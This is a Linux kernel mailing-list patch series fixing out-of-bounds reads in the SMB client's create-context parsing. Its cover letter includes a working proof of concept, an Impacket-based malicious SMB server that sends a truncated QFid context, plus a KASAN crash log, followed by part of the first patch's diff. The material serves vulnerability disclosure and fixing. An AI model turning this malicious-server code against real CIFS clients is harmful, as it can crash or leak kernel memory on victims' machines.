Skip to contentSkip to conversation

smb: client: fix create context out-of-bounds reads

PATCH In review Zihan Xi 1 participant 9 messages Sep 26

Subsystems (3)
lore
Share & tools
lore

Zihan Xi

author
#0 lore raw

v5 cover smb: client: fix create context out-of-bounds reads

Hi Linux kernel maintainers,

We found and validated an issue in fs/smb/client/smb2pdu.c. A malicious SMB server can send a malformed SMB2 CREATE response to a CIFS client and trigger an out-of-bounds read. We validated this with an Impacket server on the QEMU host and a root CIFS client in the guest; CIFS does not set FS_USERNS_MOUNT, so the mount must run as root. For valid SMB responses, the series preserves existing request handling. No impact was observed in the tested CIFS mount/read path; a full filesystem regression suite was not run.

We will provide detailed information about the bug in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

smb2_parse_contexts() validates the complete create-context area but does not limit each context record to its Next field before dispatching it. A malformed chain can therefore allow a handler to read bytes beyond the current context. The QFid handler also cast the context to a full response structure without verifying that DataLength covered DiskFileId, so a truncated QFid context could read past the response allocation. A non-terminal Next that does not leave a complete following context header is rejected as malformed.

The parser rejects NameOffset and DataOffset values before the context header, bounds the name range by the current record with checked arithmetic, and dispatches known handlers only when DataLength is non-zero.

The SMB2/SMB3 lease parsers also read LeaseState and LeaseFlags at canonical offsets rather than from DataOffset. Patch 1 limits each record to Next, reads QFid data only when its payload covers DiskFileId, and parses lease data from DataOffset with the exact v1/v2 lease payload sizes. A size mismatch skips lease parsing without failing the open. These sizes match the fixed payload sizes used by the CIFS request builders and ksmbd; a future extension must update the parser explicitly.

parse_posix_ctxt() reads nlink, reparse_tag, and mode before checking that the POSIX data contains them. The in-tree smb2_open_file() path passes a NULL posix pointer, so ordinary opens do not reach this handler. Patch 2 still checks the handler's minimum data length and preserves soft failure for malformed optional metadata.

Tracing the parser callers and compound error paths through cleanup and return-value handling also exposed the additional independent issues fixed by patches 3 through 6.

After a successful CREATE, SMB2_open() increments num_remote_opens before parsing its contexts. Patch 3 calls SMB2_close() after a parsing failure. SMB2_close() decrements num_remote_opens only after a confirmed successful close response. If a close is interrupted or transport fails, the existing best-effort behavior retains conservative accounting when the remote result is unknown.

open_cached_dir() sends CREATE and QUERY_INFO as a compound request. Patch 4 validates the CREATE response before using its fields, records the CREATE FIDs, marks the handle open, and increments the remote-open count before processing later-command errors. It also handles -EREMCHG before response validation, so a missing response does not hide the reconnect request. Patch 5 marks earlier completed mids as cancelled when a later compound wait is interrupted or MID synchronization or state validation fails. It keeps their response buffers attached until synchronization is complete, so the existing cancelled-mid cleanup can inspect each successful CREATE and queue SMB2_close(). The remote-open count is incremented only after close work allocation succeeds and before queueing it, so an OOM does not leave an unmatched count. It marks smb2_unlink()'s create+close compound so it is not closed again. Non-CREATE responses and compounds with a close keep their existing behavior.

Patch 6 preserves a create-context parsing error in the SMB2_OP_OPEN_QUERY compound path while later responses are processed.

The series keeps separate Fixes tags for the independent root causes, with each tag pointing to the earliest commit that introduced its root cause.

The parser changes overlap with Frank Sorenson's related bounds-checking patch for smb2_parse_contexts():
https://lore.kernel.org/all/[email protected]/
This series incorporates the NameOffset, Next, and zero-data dispatch checks while retaining the stricter per-record successor-header validation and the handler-specific payload checks.

The reproducer uses an Impacket SMB server that modifies the SMB2 CREATE response. packetdrill is not used because it cannot implement the required stateful SMB server or rewrite this response.

Reproducer:

From the PoC directory:

gcc -O2 -static -o poc poc.c
chmod +x poc.sh
./poc

The wrapper starts the Impacket server on the host at tcp/4445. The validation uses QEMU user-mode networking (-netdev user), so no additional veth, network namespace, or TCP proxy is needed. Configure the guest interface and route as follows:

ip link set eth0 up
ip addr add 10.0.2.15/24 dev eth0
ip route add default via 10.0.2.2

Then, as root in the guest, mount the share and read the trigger file:

mkdir -p /mnt/test
mount -t cifs //10.0.2.2/SHARE /mnt/test \
-o user=,password=,vers=2.0,sec=ntlmssp,port=4445,noperm,soft
cat /mnt/test/probe >/dev/null

The C wrapper execs ./poc.sh, so poc.sh must retain its executable bit (or be made executable with chmod +x as shown). On first use, the wrapper creates a virtual environment and installs Impacket 0.13.1. The initial setup requires network access to the configured package index; an existing virtual environment needs no installation.
The guest-side mount is shown separately because CIFS does not set FS_USERNS_MOUNT; the validated mount/read commands run as root in the guest.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment. ------BEGIN poc.c------
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)

{
	(void)argc;
	argv[0] = "./poc.sh";
	execv(argv[0], argv);
	perror("execv ./poc.sh");
	return 127;
}

------END poc.c--------

------BEGIN poc.sh------
#!/bin/bash
set -euo pipefail

SCRIPT_DIR=$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd) VENV_DIR="$SCRIPT_DIR/.venv-impacket"

if [[ ! -x "$VENV_DIR/bin/python" ]]; then
python3 -m venv "$VENV_DIR"
"$VENV_DIR/bin/pip" install impacket==0.13.1
fi

exec "$VENV_DIR/bin/python" "$SCRIPT_DIR/poc.py" "$@" ------END poc.sh--------

------BEGIN poc.py------
#!/usr/bin/env python3
import logging
import signal
import struct
from pathlib import Path

from impacket import smbserver
from impacket import smb3structs as smb2
from impacket.nt_errors import STATUS_SUCCESS

PORT = 4445
SHARE_NAME = "SHARE"
TARGET_NAME = "probe"
TARGET_OFFSET = 424
CONTEXT = struct.pack("<IHHHHI4s4x", 0, 16, 4, 0, 24, 0, b"QFid") ALIGN_PAD = b"\x00" * (TARGET_OFFSET - 152)

def prepare_share(share_dir: Path) -> None:

    share_dir.mkdir(parents=True, exist_ok=True)
    (share_dir / "placeholder").touch()
    (share_dir / TARGET_NAME).write_bytes(b"x")

def main() -> None:
base_dir = Path(__file__).resolve().parent
share_dir = base_dir / "share"
prepare_share(share_dir)

logging.basicConfig(level=logging.INFO, format="%(levelname)s:%(message)s")

original = smbserver.SMB2Commands.smb2Create

def malicious_smb2_create(conn_id, smb_server, recv_packet):
req = smb2.SMB2Create(recv_packet["Data"]) raw_name = req["Buffer"][: req["NameLength"]] name = smbserver.normalize_path(raw_name.decode("utf-16le"))

commands, packets, error = original(conn_id, smb_server, recv_packet) print(f"CREATE name={name!r} err=0x{error:08x}", flush=True)

if error == STATUS_SUCCESS and name == TARGET_NAME:
resp = commands[0]
resp["CreateContextsOffset"] = TARGET_OFFSET resp["CreateContextsLength"] = len(CONTEXT)
resp["AlignPad"] = ALIGN_PAD
resp["Buffer"] = CONTEXT
print(
f"injected truncated QFid context; packet_len={64 + len(resp.getData())}", flush=True,
)

return commands, packets, error

smbserver.SMB2Commands.smb2Create = staticmethod(malicious_smb2_create)

server = smbserver.SimpleSMBServer(listenAddress="0.0.0.0", listenPort=PORT) server.setSMB2Support(True)
server.addShare(SHARE_NAME, str(share_dir), readOnly="yes") server.setLogFile("/dev/stdout")

print(f"Serving //10.0.2.2/{SHARE_NAME} on tcp/{PORT}", flush=True) print("Trigger file: probe", flush=True)

signal.signal(signal.SIGTERM, lambda _sig, _frame: (_ for _ in ()).throw(SystemExit(0))) try:
server.start()
except (KeyboardInterrupt, SystemExit):
pass

if __name__ == "__main__":

    main()

------END poc.py--------

The following excerpt is from the output of scripts/decode_stacktrace.sh when run on the unpatched baseline log. The command used was:

./scripts/decode_stacktrace.sh vmlinux source-tree < baseline.log

The excerpt below is the resulting output.
----BEGIN crash log----

[ 1344.780735] [  T11242] ==================================================================
[ 1344.780750] [  T11242] BUG: KASAN: slab-out-of-bounds in smb2_parse_contexts (fs/smb/client/smb2pdu.c:3337)
[ 1344.780838] [  T11242] Read of size 8 at addr ff1100007e4b3180 by task cat/11242
[ 1344.780880] [  T11242] CPU: 0 UID: 0 PID: 11242 Comm: cat Not tainted 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full)
[ 1344.780887] [  T11242] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1344.780907] [  T11242] Call Trace:
[ 1344.780918] [  T11242]  <TASK>
[ 1344.780925] [  T11242]  dump_stack_lvl (lib/dump_stack.c:88)
[ 1344.780980] [  T11242]  print_report (mm/kasan/report.c:288 (discriminator 1) mm/kasan/report.c:376 (discriminator 1) mm/kasan/report.c:482 (discriminator 1))
[ 1344.781004] [  T11242]  ? smb2_parse_contexts (fs/smb/client/smb2pdu.c:3337)
[ 1344.781009] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781030] [  T11242]  ? __virt_addr_valid (arch/x86/mm/physaddr.c:55)
[ 1344.781052] [  T11242]  ? smb2_parse_contexts (fs/smb/client/smb2pdu.c:3337)
[ 1344.781057] [  T11242]  kasan_report (mm/kasan/report.c:640)
[ 1344.781065] [  T11242]  ? smb2_parse_contexts (fs/smb/client/smb2pdu.c:3337)
[ 1344.781077] [  T11242]  smb2_parse_contexts (fs/smb/client/smb2pdu.c:3337)
[ 1344.781085] [  T11242]  ? _raw_spin_unlock (include/asm-generic/qspinlock.h:128 (discriminator 4) include/linux/spinlock.h:205 (discriminator 4) include/linux/spinlock_api_smp.h:168 (discriminator 4) kernel/locking/spinlock.c:190 (discriminator 4))
[ 1344.781101] [  T11242]  SMB2_open (fs/smb/client/smb2pdu.c:3344)
[ 1344.781107] [  T11242]  ? cifsConvertToUTF16 (fs/smb/client/cifs_unicode.c:419 fs/smb/client/cifs_unicode.c:491)
[ 1344.781129] [  T11242]  ? __pfx_SMB2_open+0x10/0x10
[ 1344.781135] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781139] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781145] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781149] [  T11242]  ? __kmalloc_noprof (arch/x86/include/asm/atomic.h:23 include/linux/atomic/atomic-arch-fallback.h:457 include/linux/jump_label.h:248 mm/slab.h:458 mm/slub.c:4558 mm/slub.c:5392)
[ 1344.781164] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781167] [  T11242]  ? cifs_strndup_to_utf16 (fs/smb/client/cifs_unicode.c:628)
[ 1344.781184] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781206] [  T11242]  ? cifs_convert_path_to_utf16 (fs/smb/client/smb2misc.c:457)
[ 1344.781211] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781216] [  T11242]  ? __pfx_cifs_convert_path_to_utf16+0x10/0x10
[ 1344.781226] [  T11242]  ? smb2_open_file (fs/smb/client/smb2file.c:184)
[ 1344.781231] [  T11242]  smb2_open_file (fs/smb/client/smb2file.c:184)
[ 1344.781242] [  T11242]  ? __pfx_smb2_open_file+0x10/0x10
[ 1344.781247] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781250] [  T11242]  ? __lock_acquire+0x45c/0x25f0
[ 1344.781278] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781291] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781295] [  T11242]  ? __asan_memcpy (mm/kasan/shadow.c:105 (discriminator 1))
[ 1344.781316] [  T11242]  cifs_open (fs/smb/client/file.c:1155 (discriminator 2))
[ 1344.781354] [  T11242]  ? __pfx_cifs_open+0x10/0x10
[ 1344.781359] [  T11242]  ? do_sys_openat2 (include/linux/file.h:164 fs/open.c:1364)
[ 1344.781373] [  T11242]  ? do_syscall_64 (include/linux/irq-entry-common.h:207 include/linux/irq-entry-common.h:238 include/linux/entry-common.h:328 arch/x86/entry/syscall_64.c:100)
[ 1344.781409] [  T11242]  ? kasan_quarantine_put (arch/x86/include/asm/irqflags.h:158 (discriminator 1) mm/kasan/quarantine.c:234 (discriminator 1))
[ 1344.781413] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781417] [  T11242]  ? lockdep_hardirqs_on+0x7b/0x110
[ 1344.781463] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781469] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781485] [  T11242]  ? bpf_trampoline_6442634119+0x9f/0xed
[ 1344.781503] [  T11242]  ? do_dentry_open (fs/open.c:915)
[ 1344.781510] [  T11242]  do_dentry_open (fs/open.c:915)
[ 1344.781515] [  T11242]  ? __pfx_cifs_open+0x10/0x10
[ 1344.781521] [  T11242]  ? cifs_permission (fs/smb/client/cifsfs.c:432 (discriminator 1))
[ 1344.781537] [  T11242]  vfs_open (fs/open.c:1098)
[ 1344.781541] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781549] [  T11242]  path_openat (fs/namei.c:5179)
[ 1344.781572] [  T11242]  ? __pfx_path_openat+0x10/0x10
[ 1344.781581] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781584] [  T11242]  ? __lock_acquire+0x45c/0x25f0
[ 1344.781594] [  T11242]  do_file_open (fs/namei.c:4901)
[ 1344.781601] [  T11242]  ? __pfx_do_file_open+0x10/0x10
[ 1344.781606] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781627] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781631] [  T11242]  ? alloc_fd (fs/file.c:1297)
[ 1344.781651] [  T11242]  ? do_getname+0x6b/0x2d0
[ 1344.781658] [  T11242]  do_sys_openat2 (include/linux/file.h:164 fs/open.c:1364)
[ 1344.781663] [  T11242]  ? __pfx_do_sys_openat2+0x10/0x10
[ 1344.781666] [  T11242]  ? __pfx___do_sys_newfstat+0x10/0x10
[ 1344.781683] [  T11242]  __x64_sys_openat (fs/open.c:1389)
[ 1344.781691] [  T11242]  ? __pfx___x64_sys_openat+0x10/0x10
[ 1344.781698] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781702] [  T11242]  ? rcu_is_watching (include/linux/context_tracking.h:128 kernel/rcu/tree.c:752)
[ 1344.781713] [  T11242]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:381)
[ 1344.781717] [  T11242]  ? do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)
[ 1344.781723] [  T11242]  do_syscall_64 (include/linux/irq-entry-common.h:207 include/linux/irq-entry-common.h:238 include/linux/entry-common.h:328 arch/x86/entry/syscall_64.c:100)
[ 1344.781728] [  T11242]  ? irqentry_exit (include/linux/irq-entry-common.h:507 include/linux/irq-entry-common.h:550 kernel/entry/common.c:164)
[ 1344.781735] [  T11242]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:150)
[ 1344.781740] [  T11242] RIP: 0033:0x7fc594192687
[ 1344.781757] [  T11242] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff
All code
========
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	4c 89 df             	mov    %r11,%rdi
   6:	e8 58 b3 00 00       	call   0xb363
   b:	8b 93 08 03 00 00    	mov    0x308(%rbx),%edx
  11:	59                   	pop    %rcx
  12:	5e                   	pop    %rsi
  13:	48 83 f8 fc          	cmp    $0xfffffffffffffffc,%rax
  17:	74 1a                	je     0x33
  19:	5b                   	pop    %rbx
  1a:	c3                   	ret
  1b:	0f 1f 84 00 00 00 00 	nopl   0x0(%rax,%rax,1)
  22:	00 
  23:	48 8b 44 24 10       	mov    0x10(%rsp),%rax
  28:	0f 05                	syscall
  2a:*	5b                   	pop    %rbx		<-- trapping instruction
  2b:	c3                   	ret
  2c:	0f 1f 80 00 00 00 00 	nopl   0x0(%rax)
  33:	83 e2 39             	and    $0x39,%edx
  36:	83 fa 08             	cmp    $0x8,%edx
  39:	75 de                	jne    0x19
  3b:	e8 23 ff ff ff       	call   0xffffffffffffff63

Code starting with the faulting instruction
===========================================
0: 5b pop %rbx
1: c3 ret

   2:	0f 1f 80 00 00 00 00 	nopl   0x0(%rax)
   9:	83 e2 39             	and    $0x39,%edx
   c:	83 fa 08             	cmp    $0x8,%edx
   f:	75 de                	jne    0xffffffffffffffef
  11:	e8 23 ff ff ff       	call   0xffffffffffffff39
[ 1344.781761] [  T11242] RSP: 002b:00007ffc7d27b080 EFLAGS: 00000202 ORIG_RAX: 0000000000000101
[ 1344.781773] [  T11242] RAX: ffffffffffffffda RBX: 00007fc594100780 RCX: 00007fc594192687
[ 1344.781776] [  T11242] RDX: 0000000000000000 RSI: 00007ffc7d27be31 RDI: ffffffffffffff9c
[ 1344.781778] [  T11242] RBP: 0000000000000001 R08: 0000000000000000 R09: 0000000000000000
[ 1344.781780] [  T11242] R10: 0000000000000000 R11: 0000000000000202 R12: 000056239611ba00
[ 1344.781782] [  T11242] R13: 00007ffc7d27b3c0 R14: 0000000000000000 R15: 0000000000040000
[ 1344.781814] [  T11242]  </TASK>
[ 1344.781876] [  T11242] Allocated by task 11240:
[ 1344.781885] [  T11242]  kasan_save_stack (mm/kasan/common.c:58)
[ 1344.781894] [  T11242]  kasan_save_track (mm/kasan/common.c:70 (discriminator 1) mm/kasan/common.c:79 (discriminator 1))
[ 1344.781900] [  T11242]  __kasan_slab_alloc (mm/kasan/common.c:463 (discriminator 1))
[ 1344.781905] [  T11242]  kmem_cache_alloc_noprof (mm/slub.c:4510 mm/slub.c:4886 mm/slub.c:4917)
[ 1344.781911] [  T11242]  mempool_alloc_noprof (mm/mempool.c:608)
[ 1344.781925] [  T11242]  cifs_small_buf_get (fs/smb/client/misc.c:237 (discriminator 2))
[ 1344.781931] [  T11242]  allocate_buffers (fs/smb/client/connect.c:654)
[ 1344.781938] [  T11242]  cifs_demultiplex_thread (fs/smb/client/connect.c:1287)
[ 1344.781943] [  T11242]  kthread (kernel/kthread.c:880)
[ 1344.781958] [  T11242]  ret_from_fork (arch/x86/kernel/process.c:196 (discriminator 1))
[ 1344.781973] [  T11242]  ret_from_fork_asm (arch/x86/entry/entry_64.S:258)
[ 1344.781996] [  T11242] The buggy address belongs to the object at ff1100007e4b2fc0
which belongs to the cache cifs_small_rq of size 448
[ 1344.782002] [  T11242] The buggy address is located 0 bytes to the right of

allocated 448-byte region [ff1100007e4b2fc0, ff1100007e4b3180)

[ 1344.782011] [  T11242] The buggy address belongs to the physical page:
[ 1344.782025] [  T11242] page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xff1100007e4b34c0 pfn:0x7e4b0
[ 1344.782036] [  T11242] head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[ 1344.782045] [  T11242] flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
[ 1344.782056] [  T11242] page_type: f5(slab)
[ 1344.782069] [  T11242] raw: 00fff00000000240 ff11000105b8edc0 ffd400000418d610 ff11000105b90948
[ 1344.782075] [  T11242] raw: ff1100007e4b34c0 0000000800190013 00000000f5000000 0000000000000000
[ 1344.782080] [  T11242] head: 00fff00000000240 ff11000105b8edc0 ffd400000418d610 ff11000105b90948
[ 1344.782085] [  T11242] head: ff1100007e4b34c0 0000000800190013 00000000f5000000 0000000000000000
[ 1344.782089] [  T11242] head: 00fff00000000002 ffffffffffffff01 00000000ffffffff 00000000ffffffff
[ 1344.782094] [  T11242] head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
[ 1344.782098] [  T11242] page dumped because: kasan: bad access detected
[ 1344.782111] [  T11242] page_owner tracks the page as allocated
[ 1344.782643] [  T11242] page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd2800(GFP_NOWAIT|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 10789, tgid 10789 (umount), ts 770745347902, free_ts 770742186938
[ 1344.784632] [  T11242]  post_alloc_hook (mm/page_alloc.c:2232 mm/page_alloc.c:2259)
[ 1344.784658] [  T11242]  get_page_from_freelist (mm/page_alloc.c:1738 mm/page_alloc.c:1904 mm/page_alloc.c:3234 mm/page_alloc.c:3410 mm/page_alloc.c:3945)
[ 1344.784668] [  T11242]  __alloc_frozen_pages_noprof (include/linux/gfp.h:272 (discriminator 1) include/linux/gfp.h:287 (discriminator 1))
[ 1344.784677] [  T11242]  alloc_pages_mpol+0x14a/0x440
[ 1344.784697] [  T11242]  new_slab (mm/slub.c:1604)
[ 1344.784712] [  T11242]  ___slab_alloc (mm/slub.c:4448)
[ 1344.784722] [  T11242]  kmem_cache_alloc_noprof (arch/x86/include/asm/preempt.h:95 (discriminator 1) mm/slub.c:4771 (discriminator 1) mm/slub.c:4883 (discriminator 1) mm/slub.c:4950 (discriminator 1))
[ 1344.784731] [  T11242]  mempool_alloc_noprof (mm/mempool.c:608)
[ 1344.784741] [  T11242]  cifs_small_buf_get (fs/smb/client/misc.c:237 (discriminator 2))
[ 1344.784751] [  T11242]  __smb2_plain_req_init (fs/smb/client/smb2pdu.c:565)
[ 1344.784761] [  T11242]  SMB2_tdis (fs/smb/client/smb2pdu.c:3097)
[ 1344.784772] [  T11242]  cifs_put_tcon (fs/smb/client/connect.c:2911 (discriminator 1))
[ 1344.784781] [  T11242]  cifs_put_tlink (arch/x86/include/asm/bitops.h:202 arch/x86/include/asm/bitops.h:232 include/asm-generic/bitops/instrumented-non-atomic.h:142 fs/smb/client/connect.c:2905)
[ 1344.784790] [  T11242]  cifs_umount (fs/smb/client/connect.c:4010 (discriminator 1))
[ 1344.784799] [  T11242]  deactivate_locked_super (fs/super.c:485)
[ 1344.784821] [  T11242]  cleanup_mnt (include/linux/llist.h:283 (discriminator 5) fs/namespace.c:1325 (discriminator 5))
[ 1344.784837] [  T11242] page last free pid 10789 tgid 10789 stack trace:
[ 1344.785506] [  T11242]  __free_frozen_pages (mm/page_alloc.c:5462)
[ 1344.785518] [  T11242]  stack_depot_save_flags (lib/stackdepot.c:473 lib/stackdepot.c:706)
[ 1344.785564] [  T11242]  set_track_prepare (arch/x86/include/asm/preempt.h:95 (discriminator 1) include/linux/bit_spinlock.h:41 (discriminator 1) mm/slub.c:628 (discriminator 1) mm/slub.c:655 (discriminator 1))
[ 1344.785574] [  T11242]  ___slab_alloc (mm/slub.c:4441)
[ 1344.785584] [  T11242]  __kmalloc_cache_noprof (mm/slub.c:5777)
[ 1344.785595] [  T11242]  kobject_uevent_env (include/linux/slab.h:950 include/linux/slab.h:1188 lib/kobject_uevent.c:543)
[ 1344.785612] [  T11242]  device_del (drivers/base/core.c:1642 drivers/base/core.c:3884)
[ 1344.785660] [  T11242]  device_unregister (drivers/base/core.c:3922)
[ 1344.785670] [  T11242]  bdi_unregister (mm/backing-dev.c:1013)
[ 1344.785690] [  T11242]  generic_shutdown_super (fs/super.c:666)
[ 1344.785700] [  T11242]  kill_anon_super (fs/super.c:1293)
[ 1344.785709] [  T11242]  cifs_kill_sb (fs/smb/client/cifsfs.c:349)
[ 1344.785719] [  T11242]  deactivate_locked_super (fs/super.c:485)
[ 1344.785728] [  T11242]  cleanup_mnt (include/linux/llist.h:283 (discriminator 5) fs/namespace.c:1325 (discriminator 5))
[ 1344.785739] [  T11242]  task_work_run (kernel/task_work.c:232)
[ 1344.785755] [  T11242]  exit_to_user_mode_loop (kernel/entry/syscall_user_dispatch.c:114 (discriminator 1))
[ 1344.785783] [  T11242] Memory state around the buggy address:
[ 1344.785790] [  T11242]  ff1100007e4b3080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 1344.785799] [  T11242]  ff1100007e4b3100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 1344.785807] [  T11242] >ff1100007e4b3180: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 1344.785813] [  T11242]                    ^
[ 1344.785821] [  T11242]  ff1100007e4b3200: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb
[ 1344.785828] [  T11242]  ff1100007e4b3280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 1344.785835] [  T11242] ==================================================================
[ 1344.785843] [  T11242] Disabling lock debugging due to kernel taint

-----END crash log-----

Best regards,
Zihan Xi

changes in v5:
- Guard the final preauth-hash update in patch 5 when resp_iov is NULL,
addressing the kernel test robot Smatch report:
https://lore.kernel.org/r/[email protected]/
- v4 Link: https://lore.kernel.org/all/[email protected]/
changes in v4:
- Bound NameOffset + NameLength by the current context, reject offsets
before the context header, and skip known-handler dispatch for zero
DataLength.
- Defer response-buffer handoff until processed MIDs are synchronized and
preserve earlier CREATE responses for cancelled-mid cleanup on failures.
- Account num_remote_opens only after close-work allocation succeeds and
before queueing the asynchronous close.
- Preserve SMB2_OP_OPEN_QUERY parser errors and document the overlap with
Frank Sorenson's related smb2_parse_contexts() patch.
- Update the QEMU user-mode network and guest interface instructions.
- v3 Link: https://lore.kernel.org/all/[email protected]/
changes in v3:
- Split the POSIX handler check into a separate patch and corrected the
parser Fixes history.
- v2 Link: https://lore.kernel.org/all/[email protected]/
changes in v2:
- Bound each response context by Next, read QFid data from DataOffset,
and extend lease validation through LeaseFlags.
- v1 Link: https://lore.kernel.org/all/eb1bc35611f91bd10a4772400b37fac26f660956.1782579150.git.xizh2024@lzu.edu.cn/

Zihan Xi (6):
smb: client: fix create context out-of-bounds reads
smb: client: validate POSIX create context length
smb: client: close handle after create-context parsing failure
smb: client: clean up failed cached directory opens
smb: client: close completed creates on compound wait errors
smb: client: preserve create-context parsing errors

 fs/smb/client/cached_dir.c | 32 ++++++++++++------
 fs/smb/client/smb2inode.c  |  6 ++--
 fs/smb/client/smb2misc.c   |  9 +++--
 fs/smb/client/smb2ops.c    | 28 +++++++++++-----
 fs/smb/client/smb2pdu.c    | 54 +++++++++++++++++++++++-------
 fs/smb/client/transport.c  | 67 ++++++++++++++++++++++++++++++--------
 6 files changed, 148 insertions(+), 48 deletions(-)
Signature · 1 line
2.43.0
author
#1 lore raw

PATCH v5 1/6 smb: client: fix create context out-of-bounds reads

smb2_parse_contexts() validates the complete create-context area but does not limit each record to its Next field before dispatching it. A malformed chain can therefore expose bytes beyond the current context to a handler. The QFid handler also used a full response-structure cast although it only reads DiskFileId.

The SMB2/SMB3 lease parsers made the same layout assumption: they read LeaseState and LeaseFlags at canonical offsets rather than at DataOffset. A valid non-canonical DataOffset could therefore yield unrelated in-bounds data, while a short DataLength was still accepted.

Limit each context to its Next value, reject offsets before the context header, and reject malformed chains. Bound the name range by the current context and do not dispatch a known handler when DataLength is zero. Read the QFid DiskFileId only when the context data covers that field. Parse the lease context from DataOffset and require DataLength to match the v1 or v2 lease_context size used by ksmbd. A size mismatch skips lease parsing without failing the open.

Fixes b8c32dbb0deb ("CIFS: Request SMB2.1 leases")
Fixes f047390a097e ("CIFS: Add create lease v2 context for SMB3")
Fixes 89a5bfa350fa ("smb3: optimize open to not send query file internal info")
Assisted-by LLM

---
changes in v5:
- Rerolled the series after fixing a NULL dereference reported by the
kernel test robot Smatch analysis in patch 5:
https://lore.kernel.org/r/[email protected]/
- v4 Link: https://lore.kernel.org/all/[email protected]/
changes in v4:
- Reject NameOffset and DataOffset values before the context header and
use checked arithmetic for the name range.
- Bound the name range by the current record and skip known-handler
dispatch when DataLength is zero.
- Parse lease data from DataOffset and require exact v1/v2 payload sizes.
- Add the SMB3 lease v2 Fixes attribution for f047390a097e.
- v3 Link: https://lore.kernel.org/all/[email protected]/
changes in v3:
- Split the POSIX handler check into a separate patch and corrected the
parser Fixes history.
- v2 Link: https://lore.kernel.org/all/[email protected]/
changes in v2:
- Bound each response context by Next and reject malformed chains.
- Read QFid DiskFileId only when DataLength covers the payload.
- Extend the SMB2 lease minimum through the LeaseFlags field.
- Add a POSIX handler check for the three fixed fields.
- v1 Link: https://lore.kernel.org/all/eb1bc35611f91bd10a4772400b37fac26f660956.1782579150.git.xizh2024@lzu.edu.cn/

---
 fs/smb/client/smb2ops.c | 28 ++++++++++++++++++--------
 fs/smb/client/smb2pdu.c | 44 +++++++++++++++++++++++++++++++----------
 2 files changed, 54 insertions(+), 18 deletions(-)
fs/smb/client/smb2ops.c +20 -8
index 192649fec25d5..749cee88fc38d 100644
@@ -4437,25 +4437,37 @@ smb3_create_lease_buf(u8 *lease_key, u8 oplock, u8 *parent_lease_key, __le32 fla
 static __u8
 smb2_parse_lease_buf(void *buf, __u16 *epoch, char *lease_key)
 {
-	struct create_lease *lc = (struct create_lease *)buf;
+	struct create_context *cc = buf;
+	struct lease_context lc;
 
 	*epoch = 0; /* not used */
-	if (lc->lcontext.LeaseFlags & SMB2_LEASE_FLAG_BREAK_IN_PROGRESS_LE)
+	if (le32_to_cpu(cc->DataLength) != sizeof(lc))
+		return 0;
+
+	memcpy(&lc, (u8 *)cc + le16_to_cpu(cc->DataOffset), sizeof(lc));
+	if (lc.LeaseFlags & SMB2_LEASE_FLAG_BREAK_IN_PROGRESS_LE)
 		return SMB2_OPLOCK_LEVEL_NOCHANGE;
-	return le32_to_cpu(lc->lcontext.LeaseState);
+	return le32_to_cpu(lc.LeaseState);
 }
 
 static __u8
 smb3_parse_lease_buf(void *buf, __u16 *epoch, char *lease_key)
 {
-	struct create_lease_v2 *lc = (struct create_lease_v2 *)buf;
+	struct create_context *cc = buf;
+	struct lease_context_v2 lc;
+
+	if (le32_to_cpu(cc->DataLength) != sizeof(lc)) {
